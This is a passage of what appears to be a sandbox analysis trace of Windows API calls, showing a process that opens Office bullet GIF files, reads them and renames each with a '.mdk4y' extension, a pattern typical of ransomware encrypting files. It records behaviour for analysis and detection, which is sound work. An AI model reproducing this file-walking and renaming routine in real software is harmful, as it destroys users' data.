returned 1 [0183.199] GetACP () returned 0x4e4 [0183.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14565_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14565_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.199] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14565_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.200] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825843000000) returned 1 [0183.200] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb7, lpOverlapped=0x0) returned 1 [0183.200] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825843000000) returned 1 [0183.200] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825843000000) returned 1 [0183.201] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14565_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14565_.gif.mdk4y")) returned 1 [0183.201] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.201] AreFileApisANSI () returned 1 [0183.201] GetACP () returned 0x4e4 [0183.201] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14578_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14578_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.201] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14578_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.202] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825843200000) returned 1 [0183.202] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc8, lpOverlapped=0x0) returned 1 [0183.202] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825843200000) returned 1 [0183.202] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825843200000) returned 1 [0183.203] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14578_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14578_.gif.mdk4y")) returned 1 [0183.300] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.300] AreFileApisANSI () returned 1 [0183.300] GetACP () returned 0x4e4 [0183.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14579_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14579_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.300] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14579_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.301] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825853100000) returned 1 [0183.301] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x10b, lpOverlapped=0x0) returned 1 [0183.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825853200000) returned 1 [0183.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825853200000) returned 1 [0183.302] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14579_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14579_.gif.mdk4y")) returned 1 [0183.303] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.303] AreFileApisANSI () returned 1 [0183.303] GetACP () returned 0x4e4 [0183.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14580_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14580_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.303] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14580_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.303] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825853300000) returned 1 [0183.303] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb9, lpOverlapped=0x0) returned 1 [0183.304] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825853400000) returned 1 [0183.304] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825853400000) returned 1 [0183.304] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14580_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14580_.gif.mdk4y")) returned 1 [0183.305] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.305] AreFileApisANSI () returned 1 [0183.305] GetACP () returned 0x4e4 [0183.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14581_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14581_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.305] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14581_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.305] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825853500000) returned 1 [0183.305] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xce, lpOverlapped=0x0) returned 1 [0183.306] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825853600000) returned 1 [0183.306] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825853600000) returned 1 [0183.306] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14581_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14581_.gif.mdk4y")) returned 1 [0183.307] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.307] AreFileApisANSI () returned 1 [0183.307] GetACP () returned 0x4e4 [0183.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14582_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14582_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.307] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.308] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825853800000) returned 1 [0183.308] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb9, lpOverlapped=0x0) returned 1 [0183.308] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825853800000) returned 1 [0183.308] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825853800000) returned 1 [0183.309] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14582_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14582_.gif.mdk4y")) returned 1 [0183.309] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.310] AreFileApisANSI () returned 1 [0183.310] GetACP () returned 0x4e4 [0183.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14583_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14583_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.310] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14583_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14583_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.311] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825854100000) returned 1 [0183.312] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xaf, lpOverlapped=0x0) returned 1 [0183.312] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825854200000) returned 1 [0183.313] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825854200000) returned 1 [0183.313] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14583_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14583_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14583_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14583_.gif.mdk4y")) returned 1 [0183.314] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.314] AreFileApisANSI () returned 1 [0183.314] GetACP () returned 0x4e4 [0183.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14654_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14654_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.314] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14654_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14654_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.314] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825854400000) returned 1 [0183.314] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb9, lpOverlapped=0x0) returned 1 [0183.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825854500000) returned 1 [0183.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825854500000) returned 1 [0183.315] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14654_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14654_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14654_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14654_.gif.mdk4y")) returned 1 [0183.316] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.316] AreFileApisANSI () returned 1 [0183.316] GetACP () returned 0x4e4 [0183.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14655_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14655_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.316] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14655_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14655_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.317] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825854700000) returned 1 [0183.317] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xad, lpOverlapped=0x0) returned 1 [0183.318] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825854800000) returned 1 [0183.318] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825854800000) returned 1 [0183.318] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14655_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14655_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14655_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14655_.gif.mdk4y")) returned 1 [0183.319] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.319] AreFileApisANSI () returned 1 [0183.319] GetACP () returned 0x4e4 [0183.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14656_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14656_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.319] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14656_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14656_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.320] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825855000000) returned 1 [0183.320] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xad, lpOverlapped=0x0) returned 1 [0183.320] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825855000000) returned 1 [0183.320] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825855000000) returned 1 [0183.321] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14656_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14656_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14656_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14656_.gif.mdk4y")) returned 1 [0183.321] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.321] AreFileApisANSI () returned 1 [0183.321] GetACP () returned 0x4e4 [0183.321] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14691_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14691_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.321] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14691_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14691_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.322] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825855200000) returned 1 [0183.322] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb9, lpOverlapped=0x0) returned 1 [0183.323] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825855300000) returned 1 [0183.323] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825855300000) returned 1 [0183.323] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14691_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14691_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14691_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14691_.gif.mdk4y")) returned 1 [0183.324] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.324] AreFileApisANSI () returned 1 [0183.324] GetACP () returned 0x4e4 [0183.324] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14692_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14692_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.324] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14692_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14692_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.325] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825855500000) returned 1 [0183.325] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb1, lpOverlapped=0x0) returned 1 [0183.326] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825855600000) returned 1 [0183.326] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825855600000) returned 1 [0183.326] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14692_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14692_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14692_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14692_.gif.mdk4y")) returned 1 [0183.327] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.327] AreFileApisANSI () returned 1 [0183.327] GetACP () returned 0x4e4 [0183.327] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14693_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14693_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.327] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14693_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14693_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.328] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825855800000) returned 1 [0183.328] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xad, lpOverlapped=0x0) returned 1 [0183.329] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825855900000) returned 1 [0183.329] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825855900000) returned 1 [0183.329] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14693_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14693_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14693_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14693_.gif.mdk4y")) returned 1 [0183.330] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.330] AreFileApisANSI () returned 1 [0183.330] GetACP () returned 0x4e4 [0183.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14752_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14752_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.330] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14752_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14752_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.331] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825856100000) returned 1 [0183.331] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x29b, lpOverlapped=0x0) returned 1 [0183.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825856200000) returned 1 [0183.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825856200000) returned 1 [0183.332] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14752_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14752_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14752_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14752_.gif.mdk4y")) returned 1 [0183.359] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.359] AreFileApisANSI () returned 1 [0183.359] GetACP () returned 0x4e4 [0183.359] 